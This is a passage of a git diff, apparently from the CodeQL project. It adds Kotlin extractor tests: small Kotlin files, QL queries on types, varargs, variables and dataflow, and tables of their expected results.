+| VecExtractOp<V> | Interface, ParameterizedType |
+| VecInsertOp | GenericType, Interface, ParameterizedType |
+| VecInsertOp<> | Interface, RawType |
+| VecInsertOp<V> | Interface, ParameterizedType |
+| Vector | Class, GenericType, ParameterizedType |
+| Vector<> | Class, RawType |
+| Vector<?> | Class, ParameterizedType |
+| Vector<E> | Class, ParameterizedType |
+| Vector<Integer> | Class, ParameterizedType |
+| VectorBlendOp | GenericType, Interface, ParameterizedType |
+| VectorBlendOp<> | Interface, RawType |
+| VectorBlendOp<V,M,E> | Interface, ParameterizedType |
+| VectorBroadcastIntOp | GenericType, Interface, ParameterizedType |
+| VectorBroadcastIntOp<> | Interface, RawType |
+| VectorBroadcastIntOp<V> | Interface, ParameterizedType |
+| VectorCompareOp | GenericType, Interface, ParameterizedType |
+| VectorCompareOp<> | Interface, RawType |
+| VectorCompareOp<V,M> | Interface, ParameterizedType |
+| VectorConvertOp | GenericType, Interface, ParameterizedType |
+| VectorConvertOp<> | Interface, RawType |
+| VectorConvertOp<VOUT,VIN,S> | Interface, ParameterizedType |
+| VectorMask | Class, GenericType, ParameterizedType |
+| VectorMask<> | Class, RawType |
+| VectorMask<E> | Class, ParameterizedType |
+| VectorMaskOp | GenericType, Interface, ParameterizedType |
+| VectorMaskOp<> | Interface, RawType |
+| VectorMaskOp<M> | Interface, ParameterizedType |
+| VectorPayload | Class |
+| VectorRearrangeOp | GenericType, Interface, ParameterizedType |
+| VectorRearrangeOp<> | Interface, RawType |
+| VectorRearrangeOp<V,Sh,E> | Interface, ParameterizedType |
+| VectorShuffle | Class, GenericType, ParameterizedType |
+| VectorShuffle<> | Class, RawType |
+| VectorShuffle<E> | Class, ParameterizedType |
+| VectorSpecies | Class, GenericType, ParameterizedType |
+| VectorSpecies<> | Class, RawType |
+| VectorSpecies<?> | Class, ParameterizedType |
+| VectorSpecies<E> | Class, ParameterizedType |
+| VectorSupport | Class |
+| Version | Class |
+| Version | Class, GenericType, ParameterizedType |
+| Version<> | Class, RawType |
+| Version<?> | Class, ParameterizedType |
+| Version<T> | Class, ParameterizedType |
+| VersionInfo | Class |
+| VirtualMachineError | Class |
+| Visitor | GenericType, Interface, ParameterizedType |
+| Visitor<?> | Interface, ParameterizedType |
+| Void | Class |
+| VoidDescriptor | Class |
+| W | TypeVariable |
+| WatchEvent | GenericType, Interface, ParameterizedType |
+| WatchEvent<?> | Interface, ParameterizedType |
+| WatchKey | Interface |
+| WatchService | Interface |
+| Watchable | Interface |
+| WeakClassKey | Class |
+| WeakHashMap | Class, GenericType, ParameterizedType |
+| WeakHashMap<Identity,Entry<?>> | Class, ParameterizedType |
+| WeakHashMap<K,V> | Class, ParameterizedType |
+| WeakHashMapSpliterator | Class, GenericType, ParameterizedType |
+| WeakHashMapSpliterator<> | Class, RawType |
+| WeakHashMapSpliterator<K,V> | Class, ParameterizedType |
+| WeakReference | Class, GenericType, ParameterizedType |
+| WeakReference<> | Class, RawType |
+| WeakReference<Class<?>> | Class, ParameterizedType |
+| WeakReference<Object> | Class, ParameterizedType |
+| WeakReference<ThreadLocal<?>> | Class, ParameterizedType |
+| WeakReference<Version<?>> | Class, ParameterizedType |
+| WeakReference<Version<T>> | Class, ParameterizedType |
+| WeakReference<Version> | Class, ParameterizedType |
+| WeekBasedFieldPrinterParser | Class |
+| Wildcard | Class |
+| WildcardType | Interface |
+| WorkQueue | Class |
+| WorkQueue[] | Array |
+| Wrapper | Class |
+| Wrapper[] | Array |
+| WritableByteChannel | Interface |
+| Writer | Class |
+| WrongMethodTypeException | Class |
+| X | TypeVariable |
+| ZoneId | Class |
+| ZoneIdPrinterParser | Class |
+| ZoneOffset | Class |
+| ZoneOffsetTransition | Class |
+| ZoneOffsetTransitionRule | Class |
+| ZoneRules | Class |
+| ZoneTextPrinterParser | Class |
+| ZonedDateTime | Class |
+| boolean | PrimitiveType |
+| boolean[] | Array |
+| byte | PrimitiveType |
+| byte[] | Array |
+| char | PrimitiveType |
+| char[] | Array |
+| double | PrimitiveType |
+| double[] | Array |
+| float | PrimitiveType |
+| float[] | Array |
+| int | PrimitiveType |
+| int[] | Array |
+| long | PrimitiveType |
+| long[] | Array |
+| short | PrimitiveType |
+| short[] | Array |
+| void | VoidType |
diff --git a/java/ql/test/kotlin/library-tests/types/types.kt b/java/ql/test/kotlin/library-tests/types/types.kt
new file mode 100644
index 00000000000..ef429e2cb1c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/types/types.kt
@@ -0,0 +1,38 @@
+
+class Foo {
+    val propByte: Byte = 1
+    val propShort: Short = 1
+    val propInt: Int = 1
+    val propLong: Long = 1
+
+/*
+TODO
+    val propUByte: UByte = 1u
+    val propUShort: UShort = 1u
+    val propUInt: UInt = 1u
+    val propULong: ULong = 1u
+*/
+
+    val propFloat: Float = 1.0f
+    val propDouble: Double = 1.0
+
+    val propBoolean: Boolean = true
+
+    val propChar: Char = 'c'
+    val propString: String = "str"
+
+    val propNullableString: String? = "str"
+
+    val propNullableNothing: Nothing? = null
+
+/*
+TODO
+    val propArray: Array<Int> = arrayOf(1, 2, 3)
+
+    val propByteArray: ByteArray = byteArrayOf(1, 2, 3)
+    val propShortArray: ShortArray = shortArrayOf(1, 2, 3)
+    val propIntArray: IntArray = intArrayOf(1, 2, 3)
+    val propLongArray: LongArray = longArrayOf(1, 2, 3)
+*/
+}
+
diff --git a/java/ql/test/kotlin/library-tests/types/types.ql b/java/ql/test/kotlin/library-tests/types/types.ql
new file mode 100644
index 00000000000..94419010ab5
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/types/types.ql
@@ -0,0 +1,4 @@
+import java
+
+from Type t
+select t.toString(), concat(t.getAPrimaryQlClass(), ", ")
diff --git a/java/ql/test/kotlin/library-tests/vararg/args.expected b/java/ql/test/kotlin/library-tests/vararg/args.expected
new file mode 100644
index 00000000000..3d6a2347a95
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/vararg/args.expected
@@ -0,0 +1,80 @@
+varargsParams
+| test.kt:8:15:8:28 | xs | file://:0:0:0:0 | int[] |
+| test.kt:12:26:12:39 | xs | file://:0:0:0:0 | int[] |
+| test.kt:20:24:20:37 | xs | file://:0:0:0:0 | int[] |
+| test.kt:24:50:24:63 | xs | file://:0:0:0:0 | int[] |
+| test.kt:28:37:28:50 | xs | file://:0:0:0:0 | int[] |
+explicitVarargsArguments
+| test.kt:12:50:12:51 | xs | test.kt:12:44:12:52 | this(...) |
+| test.kt:38:25:38:29 | array | test.kt:38:5:38:30 | funWithOnlyVarArgs(...) |
+| test.kt:39:41:39:45 | array | test.kt:39:5:39:46 | funWithArgsAndVarArgs(...) |
+| test.kt:40:34:40:38 | array | test.kt:40:5:40:49 | funWithMiddleVarArgs(...) |
+| test.kt:44:27:44:31 | array | test.kt:44:5:44:32 | new HasVarargConstructor(...) |
+| test.kt:45:34:45:38 | array | test.kt:45:5:45:39 | new HasVarargConstructor(...) |
+implicitVarargsArguments
+| intList.kt:3:21:3:22 | 10 | intList.kt:3:14:3:31 | listOf(...) | 0 |
+| intList.kt:3:25:3:26 | 11 | intList.kt:3:14:3:31 | listOf(...) | 1 |
+| intList.kt:3:29:3:30 | 12 | intList.kt:3:14:3:31 | listOf(...) | 2 |
+| test.kt:16:69:16:69 | x | test.kt:16:48:16:70 | super(...) | 0 |
+| test.kt:33:21:33:22 | 10 | test.kt:33:14:33:31 | listOf(...) | 0 |
+| test.kt:33:25:33:26 | 11 | test.kt:33:14:33:31 | listOf(...) | 1 |
+| test.kt:33:29:33:30 | 12 | test.kt:33:14:33:31 | listOf(...) | 2 |
+| test.kt:35:24:35:25 | 20 | test.kt:35:5:35:34 | funWithOnlyVarArgs(...) | 0 |
+| test.kt:35:28:35:29 | 21 | test.kt:35:5:35:34 | funWithOnlyVarArgs(...) | 1 |
+| test.kt:35:32:35:33 | 22 | test.kt:35:5:35:34 | funWithOnlyVarArgs(...) | 2 |
+| test.kt:36:40:36:41 | 30 | test.kt:36:5:36:50 | funWithArgsAndVarArgs(...) | 0 |
+| test.kt:36:44:36:45 | 31 | test.kt:36:5:36:50 | funWithArgsAndVarArgs(...) | 1 |
+| test.kt:36:48:36:49 | 32 | test.kt:36:5:36:50 | funWithArgsAndVarArgs(...) | 2 |
+| test.kt:37:33:37:34 | 41 | test.kt:37:5:37:53 | funWithMiddleVarArgs(...) | 0 |
+| test.kt:37:37:37:38 | 42 | test.kt:37:5:37:53 | funWithMiddleVarArgs(...) | 1 |
+| test.kt:37:41:37:42 | 43 | test.kt:37:5:37:53 | funWithMiddleVarArgs(...) | 2 |
+| test.kt:41:26:41:27 | 51 | test.kt:41:5:41:36 | new HasVarargConstructor(...) | 0 |
+| test.kt:41:30:41:31 | 52 | test.kt:41:5:41:36 | new HasVarargConstructor(...) | 1 |
+| test.kt:41:34:41:35 | 53 | test.kt:41:5:41:36 | new HasVarargConstructor(...) | 2 |
+| test.kt:42:33:42:34 | 61 | test.kt:42:5:42:43 | new HasVarargConstructor(...) | 0 |
+| test.kt:42:37:42:38 | 62 | test.kt:42:5:42:43 | new HasVarargConstructor(...) | 1 |
+| test.kt:42:41:42:42 | 63 | test.kt:42:5:42:43 | new HasVarargConstructor(...) | 2 |
+#select
+| intList.kt:3:14:3:31 | listOf(...) | 0 | intList.kt:3:21:3:22 | 10 |
+| intList.kt:3:14:3:31 | listOf(...) | 1 | intList.kt:3:25:3:26 | 11 |
+| intList.kt:3:14:3:31 | listOf(...) | 2 | intList.kt:3:29:3:30 | 12 |
+| test.kt:9:5:9:19 | sink(...) | 0 | test.kt:9:10:9:18 | ...[...] |
+| test.kt:12:44:12:52 | this(...) | 0 | test.kt:12:50:12:51 | xs |
+| test.kt:16:48:16:70 | super(...) | 0 | test.kt:16:69:16:69 | x |
+| test.kt:21:5:21:19 | sink(...) | 0 | test.kt:21:10:21:18 | ...[...] |
+| test.kt:25:5:25:19 | sink(...) | 0 | test.kt:25:10:25:18 | ...[...] |
+| test.kt:29:5:29:19 | sink(...) | 0 | test.kt:29:10:29:18 | ...[...] |
+| test.kt:33:14:33:31 | listOf(...) | 0 | test.kt:33:21:33:22 | 10 |
+| test.kt:33:14:33:31 | listOf(...) | 1 | test.kt:33:25:33:26 | 11 |
+| test.kt:33:14:33:31 | listOf(...) | 2 | test.kt:33:29:33:30 | 12 |
+| test.kt:35:5:35:34 | funWithOnlyVarArgs(...) | 0 | test.kt:35:24:35:25 | 20 |
+| test.kt:35:5:35:34 | funWithOnlyVarArgs(...) | 1 | test.kt:35:28:35:29 | 21 |
+| test.kt:35:5:35:34 | funWithOnlyVarArgs(...) | 2 | test.kt:35:32:35:33 | 22 |
+| test.kt:36:5:36:50 | funWithArgsAndVarArgs(...) | 0 | test.kt:36:28:36:30 | foo |
+| test.kt:36:5:36:50 | funWithArgsAndVarArgs(...) | 1 | test.kt:36:34:36:37 | true |
+| test.kt:36:5:36:50 | funWithArgsAndVarArgs(...) | 2 | test.kt:36:40:36:41 | 30 |
+| test.kt:36:5:36:50 | funWithArgsAndVarArgs(...) | 3 | test.kt:36:44:36:45 | 31 |
+| test.kt:36:5:36:50 | funWithArgsAndVarArgs(...) | 4 | test.kt:36:48:36:49 | 32 |
+| test.kt:37:5:37:53 | funWithMiddleVarArgs(...) | 0 | test.kt:37:27:37:29 | foo |
+| test.kt:37:5:37:53 | funWithMiddleVarArgs(...) | 1 | test.kt:37:33:37:34 | 41 |
+| test.kt:37:5:37:53 | funWithMiddleVarArgs(...) | 2 | test.kt:37:37:37:38 | 42 |
+| test.kt:37:5:37:53 | funWithMiddleVarArgs(...) | 3 | test.kt:37:41:37:42 | 43 |
+| test.kt:37:5:37:53 | funWithMiddleVarArgs(...) | 4 | test.kt:37:49:37:52 | true |
+| test.kt:38:5:38:30 | funWithOnlyVarArgs(...) | 0 | test.kt:38:25:38:29 | array |
+| test.kt:39:5:39:46 | funWithArgsAndVarArgs(...) | 0 | test.kt:39:28:39:30 | foo |
+| test.kt:39:5:39:46 | funWithArgsAndVarArgs(...) | 1 | test.kt:39:34:39:37 | true |
+| test.kt:39:5:39:46 | funWithArgsAndVarArgs(...) | 2 | test.kt:39:41:39:45 | array |
+| test.kt:40:5:40:49 | funWithMiddleVarArgs(...) | 0 | test.kt:40:27:40:29 | foo |
+| test.kt:40:5:40:49 | funWithMiddleVarArgs(...) | 1 | test.kt:40:34:40:38 | array |
+| test.kt:40:5:40:49 | funWithMiddleVarArgs(...) | 2 | test.kt:40:45:40:48 | true |
+| test.kt:41:5:41:36 | new HasVarargConstructor(...) | 0 | test.kt:41:26:41:27 | 51 |
+| test.kt:41:5:41:36 | new HasVarargConstructor(...) | 1 | test.kt:41:30:41:31 | 52 |
+| test.kt:41:5:41:36 | new HasVarargConstructor(...) | 2 | test.kt:41:34:41:35 | 53 |
+| test.kt:42:5:42:43 | new HasVarargConstructor(...) | 0 | test.kt:42:27:42:29 | foo |
+| test.kt:42:5:42:43 | new HasVarargConstructor(...) | 1 | test.kt:42:33:42:34 | 61 |
+| test.kt:42:5:42:43 | new HasVarargConstructor(...) | 2 | test.kt:42:37:42:38 | 62 |
+| test.kt:42:5:42:43 | new HasVarargConstructor(...) | 3 | test.kt:42:41:42:42 | 63 |
+| test.kt:43:5:43:38 | new SuperclassHasVarargConstructor(...) | 0 | test.kt:43:36:43:37 | 91 |
+| test.kt:44:5:44:32 | new HasVarargConstructor(...) | 0 | test.kt:44:27:44:31 | array |
+| test.kt:45:5:45:39 | new HasVarargConstructor(...) | 0 | test.kt:45:27:45:29 | foo |
+| test.kt:45:5:45:39 | new HasVarargConstructor(...) | 1 | test.kt:45:34:45:38 | array |
diff --git a/java/ql/test/kotlin/library-tests/vararg/args.ql b/java/ql/test/kotlin/library-tests/vararg/args.ql
new file mode 100644
index 00000000000..e58bf622e98
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/vararg/args.ql
@@ -0,0 +1,20 @@
+import java
+
+query predicate varargsParams(Parameter p, Type t) {
+  p.getCallable().fromSource() and
+  p.isVarargs() and
+  t = p.getType()
+}
+
+query predicate explicitVarargsArguments(Argument a, Call c) {
+  a.isExplicitVarargsArray() and
+  a.getCall() = c
+}
+
+query predicate implicitVarargsArguments(Argument a, Call c, int pos) {
+  a.isNthVararg(pos) and
+  a.getCall() = c
+}
+
+from Call c, int i
+select c, i, c.getArgument(i)
diff --git a/java/ql/test/kotlin/library-tests/vararg/dataflow.expected b/java/ql/test/kotlin/library-tests/vararg/dataflow.expected
new file mode 100644
index 00000000000..0b41295bd5b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/vararg/dataflow.expected
@@ -0,0 +1,25 @@
+| test.kt:34:28:34:30 | 100 | test.kt:9:10:9:18 | ...[...] |
+| test.kt:34:28:34:30 | 100 | test.kt:21:10:21:18 | ...[...] |
+| test.kt:34:28:34:30 | 100 | test.kt:25:10:25:18 | ...[...] |
+| test.kt:34:28:34:30 | 100 | test.kt:29:10:29:18 | ...[...] |
+| test.kt:34:33:34:35 | 101 | test.kt:9:10:9:18 | ...[...] |
+| test.kt:34:33:34:35 | 101 | test.kt:21:10:21:18 | ...[...] |
+| test.kt:34:33:34:35 | 101 | test.kt:25:10:25:18 | ...[...] |
+| test.kt:34:33:34:35 | 101 | test.kt:29:10:29:18 | ...[...] |
+| test.kt:34:38:34:40 | 102 | test.kt:9:10:9:18 | ...[...] |
+| test.kt:34:38:34:40 | 102 | test.kt:21:10:21:18 | ...[...] |
+| test.kt:34:38:34:40 | 102 | test.kt:25:10:25:18 | ...[...] |
+| test.kt:34:38:34:40 | 102 | test.kt:29:10:29:18 | ...[...] |
+| test.kt:35:24:35:25 | 20 | test.kt:21:10:21:18 | ...[...] |
+| test.kt:35:28:35:29 | 21 | test.kt:21:10:21:18 | ...[...] |
+| test.kt:35:32:35:33 | 22 | test.kt:21:10:21:18 | ...[...] |
+| test.kt:36:40:36:41 | 30 | test.kt:25:10:25:18 | ...[...] |
+| test.kt:36:44:36:45 | 31 | test.kt:25:10:25:18 | ...[...] |
+| test.kt:36:48:36:49 | 32 | test.kt:25:10:25:18 | ...[...] |
+| test.kt:41:26:41:27 | 51 | test.kt:9:10:9:18 | ...[...] |
+| test.kt:41:30:41:31 | 52 | test.kt:9:10:9:18 | ...[...] |
+| test.kt:41:34:41:35 | 53 | test.kt:9:10:9:18 | ...[...] |
+| test.kt:42:33:42:34 | 61 | test.kt:9:10:9:18 | ...[...] |
+| test.kt:42:37:42:38 | 62 | test.kt:9:10:9:18 | ...[...] |
+| test.kt:42:41:42:42 | 63 | test.kt:9:10:9:18 | ...[...] |
+| test.kt:43:36:43:37 | 91 | test.kt:9:10:9:18 | ...[...] |
diff --git a/java/ql/test/kotlin/library-tests/vararg/dataflow.ql b/java/ql/test/kotlin/library-tests/vararg/dataflow.ql
new file mode 100644
index 00000000000..c4e60e6115d
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/vararg/dataflow.ql
@@ -0,0 +1,18 @@
+import java
+import semmle.code.java.dataflow.DataFlow
+
+class Config extends DataFlow::Configuration {
+  Config() { this = "varargs-dataflow-test" }
+
+  override predicate isSource(DataFlow::Node n) {
+    n.asExpr().(CompileTimeConstantExpr).getEnclosingCallable().fromSource()
+  }
+
+  override predicate isSink(DataFlow::Node n) {
+    n.asExpr() = any(MethodAccess ma | ma.getMethod().getName() = "sink").getAnArgument()
+  }
+}
+
+from DataFlow::Node source, DataFlow::Node sink, Config c
+where c.hasFlow(source, sink)
+select source, sink
diff --git a/java/ql/test/kotlin/library-tests/vararg/intList.kt b/java/ql/test/kotlin/library-tests/vararg/intList.kt
new file mode 100644
index 00000000000..6c60947b669
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/vararg/intList.kt
@@ -0,0 +1,5 @@
+
+fun intListFun() {
+    val xs = listOf(10, 11, 12)
+}
+
diff --git a/java/ql/test/kotlin/library-tests/vararg/test.kt b/java/ql/test/kotlin/library-tests/vararg/test.kt
new file mode 100644
index 00000000000..00dc8f13d78
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/vararg/test.kt
@@ -0,0 +1,46 @@
+
+fun sink(sunk: Int) {
+    
+}
+
+open class HasVarargConstructor {
+
+  constructor(vararg xs: Int) {
+    sink(xs[xs[0]])
+  }
+
+  constructor(x: String, vararg xs: Int) : this(*xs) { }
+
+}
+
+class SuperclassHasVarargConstructor(x: Int) : HasVarargConstructor(x) {
+
+}
+
+fun funWithOnlyVarArgs(vararg xs: Int) {
+    sink(xs[xs[0]])
+}
+
+fun funWithArgsAndVarArgs(x: String, y: Boolean, vararg xs: Int) {
+    sink(xs[xs[0]])
+}
+
+fun funWithMiddleVarArgs(x: String, vararg xs: Int, y: Boolean) {
+    sink(xs[xs[0]])
+}
+
+fun myFun() {
+    val xs = listOf(10, 11, 12)
+    val array = intArrayOf(100, 101, 102)
+    funWithOnlyVarArgs(20, 21, 22)
+    funWithArgsAndVarArgs("foo", true, 30, 31, 32)
+    funWithMiddleVarArgs("foo", 41, 42, 43, y = true)
+    funWithOnlyVarArgs(*array)
+    funWithArgsAndVarArgs("foo", true, *array)
+    funWithMiddleVarArgs("foo", *array, y = true)
+    HasVarargConstructor(51, 52, 53)
+    HasVarargConstructor("foo", 61, 62, 63)
+    SuperclassHasVarargConstructor(91)
+    HasVarargConstructor(*array)
+    HasVarargConstructor("foo", *array)
+}
diff --git a/java/ql/test/kotlin/library-tests/variables/variableAccesses.expected b/java/ql/test/kotlin/library-tests/variables/variableAccesses.expected
new file mode 100644
index 00000000000..b29bc063a2b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/variables/variableAccesses.expected
@@ -0,0 +1,36 @@
+varAcc
+| variables.kt:3:5:3:21 | prop |
+| variables.kt:3:5:3:21 | this.prop |
+| variables.kt:7:17:7:22 | local1 |
+| variables.kt:9:17:9:22 | local2 |
+| variables.kt:10:22:10:26 | param |
+| variables.kt:11:17:11:22 | local3 |
+| variables.kt:15:1:15:21 | VariablesKt.topLevel |
+| variables.kt:15:1:15:21 | VariablesKt.topLevel |
+| variables.kt:21:11:21:18 | o |
+| variables.kt:21:11:21:18 | o |
+| variables.kt:21:11:21:18 | this.o |
+| variables.kt:29:9:29:9 | this |
+| variables.kt:30:9:30:9 | this |
+| variables.kt:32:9:32:12 | this |
+| variables.kt:33:9:33:12 | this |
+extensionReceiverAcc
+| variables.kt:29:9:29:9 | this |
+| variables.kt:30:9:30:9 | this |
+| variables.kt:32:9:32:12 | this |
+| variables.kt:33:9:33:12 | this |
+instAcc
+| variables.kt:3:5:3:21 | this |
+| variables.kt:21:11:21:18 | this |
+| variables.kt:26:9:26:9 | this |
+| variables.kt:26:11:26:15 | this |
+| variables.kt:31:9:31:12 | C2.this |
+| variables.kt:36:9:36:15 | C2.this |
+| variables.kt:37:9:37:15 | C2.this |
+| variables.kt:46:13:46:16 | this |
+| variables.kt:47:13:47:19 | C3.this |
+instAccQualifier
+| variables.kt:31:9:31:12 | C2.this | variables.kt:31:9:31:12 | C2 |
+| variables.kt:36:9:36:15 | C2.this | variables.kt:36:9:36:15 | C2 |
+| variables.kt:37:9:37:15 | C2.this | variables.kt:37:9:37:15 | C2 |
+| variables.kt:47:13:47:19 | C3.this | variables.kt:47:13:47:19 | C3 |
diff --git a/java/ql/test/kotlin/library-tests/variables/variableAccesses.ql b/java/ql/test/kotlin/library-tests/variables/variableAccesses.ql
new file mode 100644
index 00000000000..0fa6d19d142
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/variables/variableAccesses.ql
@@ -0,0 +1,9 @@
+import java
+
+query predicate varAcc(VarAccess va) { any() }
+
+query predicate extensionReceiverAcc(ExtensionReceiverAccess va) { any() }
+
+query predicate instAcc(InstanceAccess ia) { any() }
+
+query predicate instAccQualifier(InstanceAccess ia, Expr e) { ia.getQualifier() = e }
diff --git a/java/ql/test/kotlin/library-tests/variables/variables.expected b/java/ql/test/kotlin/library-tests/variables/variables.expected
new file mode 100644
index 00000000000..c4aaa4a1620
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/variables/variables.expected
@@ -0,0 +1,20 @@
+isFinal
+| variables.kt:6:9:6:26 | int local1 | final |
+| variables.kt:8:9:8:26 | int local2 | non-final |
+| variables.kt:10:9:10:26 | int local3 | final |
+compileTimeConstant
+| variables.kt:3:5:3:21 | prop |
+| variables.kt:3:5:3:21 | this.prop |
+| variables.kt:7:17:7:22 | local1 |
+| variables.kt:15:1:15:21 | VariablesKt.topLevel |
+| variables.kt:15:1:15:21 | VariablesKt.topLevel |
+#select
+| variables.kt:3:5:3:21 | prop | int | variables.kt:3:21:3:21 | 1 |
+| variables.kt:5:20:5:29 | param | int | file://:0:0:0:0 | <none> |
+| variables.kt:6:9:6:26 | int local1 | int | variables.kt:6:22:6:26 | ... + ... |
+| variables.kt:8:9:8:26 | int local2 | int | variables.kt:8:22:8:26 | ... + ... |
+| variables.kt:10:9:10:26 | int local3 | int | variables.kt:10:22:10:26 | param |
+| variables.kt:15:1:15:21 | topLevel | int | variables.kt:15:21:15:21 | 1 |
+| variables.kt:21:11:21:18 | o | C1 | file://:0:0:0:0 | <none> |
+| variables.kt:21:11:21:18 | o | C1 | variables.kt:21:11:21:18 | o |
+| variables.kt:28:9:28:10 | <this> | C1 | file://:0:0:0:0 | <none> |
diff --git a/java/ql/test/kotlin/library-tests/variables/variables.kt b/java/ql/test/kotlin/library-tests/variables/variables.kt
new file mode 100644
index 00000000000..f15778e9225
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/variables/variables.kt
@@ -0,0 +1,50 @@
+
+class Foo {
+    val prop: Int = 1
+
+    fun myFunction(param: Int) {
+        val local1 = 2 + 3
+        println(local1)
+        var local2 = 2 + 3
+        println(local2)
+        val local3 = param
+        println(local3)
+    }
+}
+
+val topLevel: Int = 1
+
+class C1 {
+    fun f1() {}
+    fun f2() {}
+}
+class C2 (val o:C1) {
+    fun f1() {}
+    fun f3() {}
+
+    fun f4() {
+        o.ext();
+    }
+    fun C1.ext() {
+        f1() // calls method defined in C1 class
+        f2()
+        f3()
+        this.f1() // extensionReceiverParameter
+        this.f2() // extensionReceiverParameter
+
+        // calls method defined in C2 class
+        this@C2.f1() // dispatchReceiverParameter
+        this@C2.f3() // dispatchReceiverParameter
+    }
+}
+
+class C3 {
+    fun f0() {}
+    inner class C4 {
+        fun f0() {}
+        fun f1() {
+            this.f0()
+            this@C3.f0()
+        }
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/variables/variables.ql b/java/ql/test/kotlin/library-tests/variables/variables.ql
new file mode 100644
index 00000000000..464674b52b2
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/variables/variables.ql
@@ -0,0 +1,45 @@
+import java
+
+newtype TMaybeExpr =
+  TExpr(Expr c) or
+  TNoExpr()
+
+class MaybeExpr extends TMaybeExpr {
+  abstract string toString();
+
+  abstract Location getLocation();
+}
+
+class YesMaybeExpr extends MaybeExpr {
+  Expr c;
+
+  YesMaybeExpr() { this = TExpr(c) }
+
+  override string toString() { result = c.toString() }
+
+  override Location getLocation() { result = c.getLocation() }
+}
+
+class NoMaybeExpr extends MaybeExpr {
+  NoMaybeExpr() { this = TNoExpr() }
+
+  override string toString() { result = "<none>" }
+
+  override Location getLocation() { none() }
+}
+
+MaybeExpr initializer(Variable v) {
+  if exists(v.getInitializer()) then result = TExpr(v.getInitializer()) else result = TNoExpr()
+}
+
+from Variable v
+where v.fromSource()
+select v, v.getType().toString(), initializer(v)
+
+query predicate isFinal(LocalVariableDecl v, string isFinal) {
+  if v.hasModifier("final") then isFinal = "final" else isFinal = "non-final"
+}
+
+query predicate compileTimeConstant(CompileTimeConstantExpr e) {
+  exists(Variable v | v.getAnAccess() = e)
+}
diff --git a/java/ql/test/kotlin/query-tests/DeadRefTypes/DeadRefTypes.expected b/java/ql/test/kotlin/query-tests/DeadRefTypes/DeadRefTypes.expected
new file mode 100644
index 00000000000..b900d5172c8
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/DeadRefTypes/DeadRefTypes.expected
@@ -0,0 +1 @@
+| test.kt:1:1:1:20 | C1 | Unused class: C1 is not referenced within this codebase. If not used as an external API it should be removed. |
diff --git a/java/ql/test/kotlin/query-tests/DeadRefTypes/DeadRefTypes.qlref b/java/ql/test/kotlin/query-tests/DeadRefTypes/DeadRefTypes.qlref
new file mode 100644
index 00000000000..2b925a78cbb
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/DeadRefTypes/DeadRefTypes.qlref
@@ -0,0 +1 @@
+Violations of Best Practice/Dead Code/DeadRefTypes.ql
\ No newline at end of file
diff --git a/java/ql/test/kotlin/query-tests/DeadRefTypes/test.kt b/java/ql/test/kotlin/query-tests/DeadRefTypes/test.kt
new file mode 100644
index 00000000000..6a38aa0f748
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/DeadRefTypes/test.kt
@@ -0,0 +1,15 @@
+private class C1 { }
+
+private class C2 { }
+
+fun fn() {
+    val c = C2()
+}
+
+fun fn1() = 5
+
+fun fn2(f: () -> Unit) = f()
+
+fun adapted() {
+    fn2(::fn1)
+}
diff --git a/java/ql/test/kotlin/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.expected b/java/ql/test/kotlin/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/kotlin/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref b/java/ql/test/kotlin/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref
new file mode 100644
index 00000000000..3d3b5444609
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref
@@ -0,0 +1 @@
+Performance/InnerClassCouldBeStatic.ql
\ No newline at end of file
diff --git a/java/ql/test/kotlin/query-tests/InnerClassCouldBeStatic/Test.kt b/java/ql/test/kotlin/query-tests/InnerClassCouldBeStatic/Test.kt
new file mode 100644
index 00000000000..2a7be54aa28
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/InnerClassCouldBeStatic/Test.kt
@@ -0,0 +1,6 @@
+class A {
+    fun fn1() {}
+    companion object {
+        fun fn2() {}
+    }
+}
diff --git a/java/ql/test/kotlin/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.expected b/java/ql/test/kotlin/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/kotlin/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref b/java/ql/test/kotlin/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref
new file mode 100644
index 00000000000..40038cf027a
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref
@@ -0,0 +1 @@
+Likely Bugs/Comparison/MissingInstanceofInEquals.ql
\ No newline at end of file
diff --git a/java/ql/test/kotlin/query-tests/MissingInstanceofInEquals/Test.kt b/java/ql/test/kotlin/query-tests/MissingInstanceofInEquals/Test.kt
new file mode 100644
index 00000000000..7e8fa2619e2
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/MissingInstanceofInEquals/Test.kt
@@ -0,0 +1,7 @@
+data class D(val x: Int) {}
+
+data class E(val x: Int) {
+    override fun equals(other: Any?): Boolean {
+        return (other as? E)?.x == this.x
+    }
+}
diff --git a/java/ql/test/kotlin/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.expected b/java/ql/test/kotlin/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.expected
new file mode 100644
index 00000000000..e69de29bb2d
